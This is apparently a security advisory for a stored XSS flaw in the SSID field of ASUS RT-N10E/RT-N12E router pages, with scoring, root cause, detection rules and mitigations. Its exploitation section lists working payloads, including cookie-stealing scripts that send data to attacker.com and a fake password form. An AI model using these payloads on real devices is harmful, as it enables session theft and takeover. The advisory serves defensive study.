CVE-2025-1354

Executive Summary

CVE-2025-1354 is a stored cross-site scripting (XSS) vulnerability affecting the ASUS RT-N10E and RT-N12E routers running firmware version 2.0.0.x. The vulnerability resides in the sysinfo.asp file, where the SSID parameter is not properly sanitized before being rendered. An attacker can inject malicious JavaScript code into the SSID field, which will execute in the context of any administrator or user viewing the system information page. Since both router models are End-of-Life (EOL) and unsupported, no official patch will be released. The only recommended mitigation is to disable remote administration from the WAN interface. The CVSS v3.1 base score is 4.7 (Medium), reflecting the need for user interaction and the limited impact on confidentiality and integrity.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – The victim must visit the sysinfo.asp page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens, router config).
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability is trivial to exploit but requires the victim to access a specific page. Given the EOL status, no patch will be released, making this a persistent risk for any remaining deployed units.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the sysinfo.asp page. The router’s web interface does not properly validate or encode the SSID parameter when displaying system information. An attacker who can modify the router’s SSID (e.g., through the admin interface or by exploiting another vulnerability) can inject arbitrary HTML/JavaScript. When an administrator or user navigates to sysinfo.asp, the injected script executes in the browser context of the router’s web interface.

Attack Flow:

1. Attacker gains access to the router’s admin interface (e.g., via default credentials, weak password, or another vulnerability).
2. Attacker changes the SSID to a payload such as <script>alert('XSS')</script>.
3. Victim (admin or user) visits http://<router-ip>/sysinfo.asp.
4. The injected script executes, potentially stealing session cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Root Cause: The sysinfo.asp page uses the SSID value directly in the HTML output without sanitization or encoding. The code likely resembles:

<%= Request("SSID") %>

instead of using Server.HTMLEncode().

Vulnerable vs. Patched Code

Since the firmware is EOL and no patch exists, we can only describe the vulnerable pattern and the recommended fix.

Vulnerable Code (Conceptual):

<%
Dim ssid
ssid = Request("SSID")
Response.Write("<div>Current SSID: " & ssid & "</div>")
%>

Patched Code (Conceptual):

<%
Dim ssid
ssid = Request("SSID")
Response.Write("<div>Current SSID: " & Server.HTMLEncode(ssid) & "</div>")
%>

The fix involves encoding the SSID value using Server.HTMLEncode() before rendering it in the HTML output. This converts characters like <, >, ", and & into their safe HTML entities.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the router’s admin interface (e.g., via default credentials admin/admin).
• The router’s web interface must be accessible (local or WAN if remote admin is enabled).

Exploit Steps:

1. Log in to the router’s admin panel.
2. Navigate to the Wireless settings page.
3. Change the SSID to a malicious payload, e.g.:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the settings.
5. Wait for an administrator to view the sysinfo.asp page, or send a crafted link to the victim: http://<router-ip>/sysinfo.asp.

Example Payloads:

• Steal cookies: <script>fetch('http://attacker.com/?c='+document.cookie)</script>
• Phishing: <script>document.write('<form method=POST action=http://attacker.com/pass><input name=pass><input type=submit></form>')</script>
• Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual SSID changes in logs (if available).
• Look for HTTP requests to sysinfo.asp with suspicious query parameters.
• Use network monitoring to detect outbound connections from the router to unknown IPs.

Hardening:

• Disable remote administration from WAN (default is usually off, but verify).
• Change default admin credentials.
• Keep the router isolated from untrusted networks.
• Consider replacing EOL devices with supported hardware.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP/HTTPS requests from the router to unknown external IPs.
  • Unusual SSID strings containing HTML tags or JavaScript.
• Host (Router):
  • Modified SSID containing <script>, <img>, or other HTML tags.
  • Unexpected entries in the router’s system log (if available).
• File:
  • No file-based IOCs as this is a web application vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_1354_XSS_SSID {
    meta:
        description = "Detects XSS payloads in SSID strings for CVE-2025-1354"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1354"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /<img[^>]*onerror/i
        $xss3 = /<svg[^>]*onload/i
        $xss4 = /javascript:/i
        $xss5 = /on\w+\s*=\s*['"]?[^'"]*['"]?/i
    condition:
        any of them
}

Sigma Rule

title: ASUS Router XSS via SSID (CVE-2025-1354)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to sysinfo.asp with suspicious SSID parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: asus_router
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'sysinfo.asp'
        cs-uri-query|re: '(<script|<img|<svg|javascript:|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate SSID names containing special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-1354 ASUS Router XSS via SSID";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"sysinfo.asp"; http_uri;
    pcre:"/(<script|<img|<svg|javascript:|on\w+=)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-1354;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Administration: Ensure that remote access from WAN is disabled. This prevents external attackers from reaching the admin interface.
2. Change Default Credentials: Use strong, unique passwords for the admin account.
3. Limit Network Exposure: Place the router behind a firewall and restrict access to the admin interface to trusted local IPs only.

Long-Term Solution:

• Replace the Device: Since the RT-N10E and RT-N12E are End-of-Life, the only complete fix is to replace them with a supported router model that receives security updates.

Workarounds:

• If replacement is not immediately possible, consider using a VPN to access the router’s admin interface instead of exposing it directly.
• Monitor logs for any signs of exploitation.

Valters IT
Securing digital frontiers, one CVE at a time.